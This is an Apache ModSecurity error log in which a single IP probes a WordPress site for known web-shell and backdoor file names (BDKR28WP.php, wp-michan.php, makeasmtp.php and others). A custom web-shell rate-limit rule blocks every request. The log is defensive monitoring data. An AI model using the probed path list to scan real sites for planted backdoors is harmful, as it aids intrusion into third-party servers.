[Thu Apr 16 21:43:46.635483 2026] [:error] [pid 29603:tid 29608] [client 51.13.190.245:21309] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aeDnklfGOR6fpTWUAzqeqAAAAQM"]
[Thu Apr 16 21:43:47.197063 2026] [:error] [pid 57538:tid 57610] [client 51.13.190.245:53515] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeDnk8uMaiEF5SVR2Bfp1gAAAIg"]
[Thu Apr 16 21:43:47.741995 2026] [:error] [pid 49094:tid 49119] [client 51.13.190.245:30648] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeDnkzbDwvcXorHR_MzuvwAAAVc"]
[Thu Apr 16 21:43:48.302304 2026] [:error] [pid 57639:tid 57651] [client 51.13.190.245:52300] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeDnlKMCQoTw7TsxWunBNQAAAMU"]
[Thu Apr 16 21:43:48.870898 2026] [:error] [pid 7880:tid 7901] [client 51.13.190.245:33435] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeDnlKaezm4fSGc0yUK0VAAAAZA"]
[Thu Apr 16 21:43:49.396713 2026] [:error] [pid 57536:tid 57550] [client 51.13.190.245:30628] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeDnlSQU4faGja6jpDuKrwAAAAI"]
[Thu Apr 16 21:43:49.930033 2026] [:error] [pid 7880:tid 7903] [client 51.13.190.245:53526] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeDnlaaezm4fSGc0yUK0VgAAAZI"]
[Thu Apr 16 21:43:50.475747 2026] [:error] [pid 57639:tid 57656] [client 51.13.190.245:30593] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeDnlqMCQoTw7TsxWunBRQAAAMo"]
[Thu Apr 16 21:43:51.098741 2026] [:error] [pid 49094:tid 49108] [client 51.13.190.245:53567] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeDnlzbDwvcXorHR_MzuzQAAAUw"]
[Thu Apr 16 21:43:51.669938 2026] [:error] [pid 49094:tid 49096] [client 51.13.190.245:47472] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeDnlzbDwvcXorHR_Mzu2QAAAUA"]
[Thu Apr 16 21:43:52.232436 2026] [:error] [pid 57536:tid 57553] [client 51.13.190.245:33434] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeDnmCQU4faGja6jpDuKtwAAAAU"]
[Thu Apr 16 21:43:52.749929 2026] [:error] [pid 49094:tid 49098] [client 51.13.190.245:29829] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeDnmDbDwvcXorHR_Mzu5QAAAUI"]
[Thu Apr 16 21:43:53.283246 2026] [:error] [pid 57538:tid 57607] [client 51.13.190.245:13249] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeDnmcuMaiEF5SVR2Bfp4wAAAIU"]
[Thu Apr 16 21:43:53.898250 2026] [:error] [pid 57537:tid 57586] [client 51.13.190.245:52311] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aeDnmVVQRS8nm73ENAm88AAAAEs"]
[Thu Apr 16 21:43:54.576934 2026] [:error] [pid 57537:tid 57593] [client 51.13.190.245:52343] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aeDnmlVQRS8nm73ENAm88wAAAFI"]
[Thu Apr 16 21:43:55.310406 2026] [:error] [pid 57536:tid 57570] [client 51.13.190.245:53546] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aeDnmyQU4faGja6jpDuKvAAAABY"]
[Thu Apr 16 21:43:55.977798 2026] [:error] [pid 29603:tid 29622] [client 51.13.190.245:53519] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aeDnm1fGOR6fpTWUAzqesQAAARE"]
[Thu Apr 16 21:43:56.750663 2026] [:error] [pid 57537:tid 57581] [client 51.13.190.245:52330] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeDnnFVQRS8nm73ENAm8-wAAAEY"]
[Thu Apr 16 21:43:57.463483 2026] [:error] [pid 57639:tid 57653] [client 51.13.190.245:33441] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeDnnaMCQoTw7TsxWunBTQAAAMc"]
[Thu Apr 16 21:43:58.063913 2026] [:error] [pid 57538:tid 57622] [client 51.13.190.245:21311] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeDnnsuMaiEF5SVR2Bfp5gAAAJQ"]
[Thu Apr 16 21:43:58.654966 2026] [:error] [pid 7880:tid 7902] [client 51.13.190.245:47477] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeDnnqaezm4fSGc0yUK0ZAAAAZE"]
[Thu Apr 16 21:43:59.518155 2026] [:error] [pid 29603:tid 29614] [client 51.13.190.245:33458] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aeDnn1fGOR6fpTWUAzqewAAAAQk"]
[Thu Apr 16 21:44:00.055215 2026] [:error] [pid 7880:tid 7889] [client 51.13.190.245:53514] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aeDnoKaezm4fSGc0yUK0aAAAAYQ"]
[Thu Apr 16 21:44:00.631375 2026] [:error] [pid 57536:tid 57572] [client 51.13.190.245:53504] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aeDnoCQU4faGja6jpDuKxQAAABg"]
[Thu Apr 16 21:44:01.365107 2026] [:error] [pid 57536:tid 57571] [client 51.13.190.245:53528] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aeDnoSQU4faGja6jpDuKxwAAABc"]
[Thu Apr 16 21:44:02.022514 2026] [:error] [pid 7880:tid 7908] [client 51.13.190.245:33220] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeDnoqaezm4fSGc0yUK0cwAAAZc"]
[Thu Apr 16 21:44:02.650253 2026] [:error] [pid 7880:tid 7904] [client 51.13.190.245:47669] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeDnoqaezm4fSGc0yUK0dQAAAZM"]
[Thu Apr 16 21:44:03.266089 2026] [:error] [pid 57536:tid 57566] [client 51.13.190.245:47424] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeDnoyQU4faGja6jpDuKzQAAABI"]
[Thu Apr 16 21:44:04.014428 2026] [:error] [pid 57639:tid 57647] [client 51.13.190.245:47438] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeDnpKMCQoTw7TsxWunBVQAAAME"]
[Thu Apr 16 21:44:04.743385 2026] [:error] [pid 57639:tid 57670] [client 51.13.190.245:33452] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeDnpKMCQoTw7TsxWunBWQAAANg"]
[Thu Apr 16 21:44:05.577398 2026] [:error] [pid 29603:tid 29619] [client 51.13.190.245:47450] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeDnpVfGOR6fpTWUAzqezwAAAQ4"]
[Thu Apr 16 21:44:06.184796 2026] [:error] [pid 57639:tid 57665] [client 51.13.190.245:29875] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeDnpqMCQoTw7TsxWunBXwAAANM"]
[Thu Apr 16 21:44:06.811794 2026] [:error] [pid 57639:tid 57652] [client 51.13.190.245:47621] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeDnpqMCQoTw7TsxWunBYQAAAMY"]
[Thu Apr 16 21:44:07.410459 2026] [:error] [pid 57639:tid 57668] [client 51.13.190.245:47433] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeDnp6MCQoTw7TsxWunBZAAAANY"]
[Thu Apr 16 21:44:08.196511 2026] [:error] [pid 57639:tid 57649] [client 51.13.190.245:33463] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeDnqKMCQoTw7TsxWunBaQAAAMM"]
[Thu Apr 16 21:44:08.987928 2026] [:error] [pid 57639:tid 57665] [client 51.13.190.245:53544] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeDnqKMCQoTw7TsxWunBbwAAANM"]
[Thu Apr 16 21:44:09.735635 2026] [:error] [pid 57639:tid 57660] [client 51.13.190.245:47621] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeDnqaMCQoTw7TsxWunBdQAAAM4"]
[Thu Apr 16 21:44:10.306530 2026] [:error] [pid 57639:tid 57667] [client 51.13.190.245:52307] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aeDnqqMCQoTw7TsxWunBewAAANU"]
[Thu Apr 16 21:44:10.969496 2026] [:error] [pid 57639:tid 57665] [client 51.13.190.245:30595] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aeDnqqMCQoTw7TsxWunBfwAAANM"]
[Thu Apr 16 21:44:11.588185 2026] [:error] [pid 57538:tid 57623] [client 51.13.190.245:53541] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aeDnq8uMaiEF5SVR2Bfp-AAAAJU"]
[Thu Apr 16 21:44:12.144466 2026] [:error] [pid 29603:tid 29606] [client 51.13.190.245:29877] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aeDnrFfGOR6fpTWUAzqe2wAAAQE"]
[Thu Apr 16 21:44:12.686666 2026] [:error] [pid 57537:tid 57582] [client 51.13.190.245:25175] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeDnrFVQRS8nm73ENAm8_gAAAEc"]
[Thu Apr 16 21:44:13.223578 2026] [:error] [pid 29603:tid 29613] [client 51.13.190.245:33269] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeDnrVfGOR6fpTWUAzqe3QAAAQg"]
[Thu Apr 16 21:44:13.814911 2026] [:error] [pid 29603:tid 29621] [client 51.13.190.245:21129] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeDnrVfGOR6fpTWUAzqe4AAAARA"]
[Thu Apr 16 21:44:14.464160 2026] [:error] [pid 57639:tid 57670] [client 51.13.190.245:21277] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeDnrqMCQoTw7TsxWunBiwAAANg"]
[Thu Apr 16 21:44:15.073291 2026] [:error] [pid 29603:tid 29607] [client 51.13.190.245:29850] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeDnr1fGOR6fpTWUAzqe6AAAAQI"]
[Thu Apr 16 21:44:15.617583 2026] [:error] [pid 57536:tid 57571] [client 51.13.190.245:33449] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeDnryQU4faGja6jpDuK6AAAABc"]
[Thu Apr 16 21:44:16.198865 2026] [:error] [pid 57536:tid 57551] [client 51.13.190.245:47653] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeDnsCQU4faGja6jpDuK7AAAAAM"]
[Thu Apr 16 21:44:16.756194 2026] [:error] [pid 7880:tid 7903] [client 51.13.190.245:33268] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeDnsKaezm4fSGc0yUK0kAAAAZI"]
[Thu Apr 16 21:44:17.282444 2026] [:error] [pid 57639:tid 57670] [client 51.13.190.245:29825] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeDnsaMCQoTw7TsxWunBmQAAANg"]
[Thu Apr 16 21:44:17.854669 2026] [:error] [pid 49094:tid 49107] [client 51.13.190.245:33439] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeDnsTbDwvcXorHR_MzvGQAAAUs"]
[Thu Apr 16 21:44:18.453533 2026] [:error] [pid 57639:tid 57662] [client 51.13.190.245:52338] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeDnsqMCQoTw7TsxWunBowAAANA"]
[Thu Apr 16 21:44:19.006513 2026] [:error] [pid 57639:tid 57647] [client 51.13.190.245:21138] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeDns6MCQoTw7TsxWunBpAAAAME"]
[Thu Apr 16 21:44:19.625511 2026] [:error] [pid 57639:tid 57653] [client 51.13.190.245:33266] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeDns6MCQoTw7TsxWunBrAAAAMc"]
[Thu Apr 16 21:44:20.230687 2026] [:error] [pid 57538:tid 57615] [client 51.13.190.245:33217] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeDntMuMaiEF5SVR2Bfp_gAAAI0"]
[Thu Apr 16 21:44:21.156629 2026] [:error] [pid 57538:tid 57612] [client 51.13.190.245:30640] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeDntcuMaiEF5SVR2BfqAgAAAIo"]
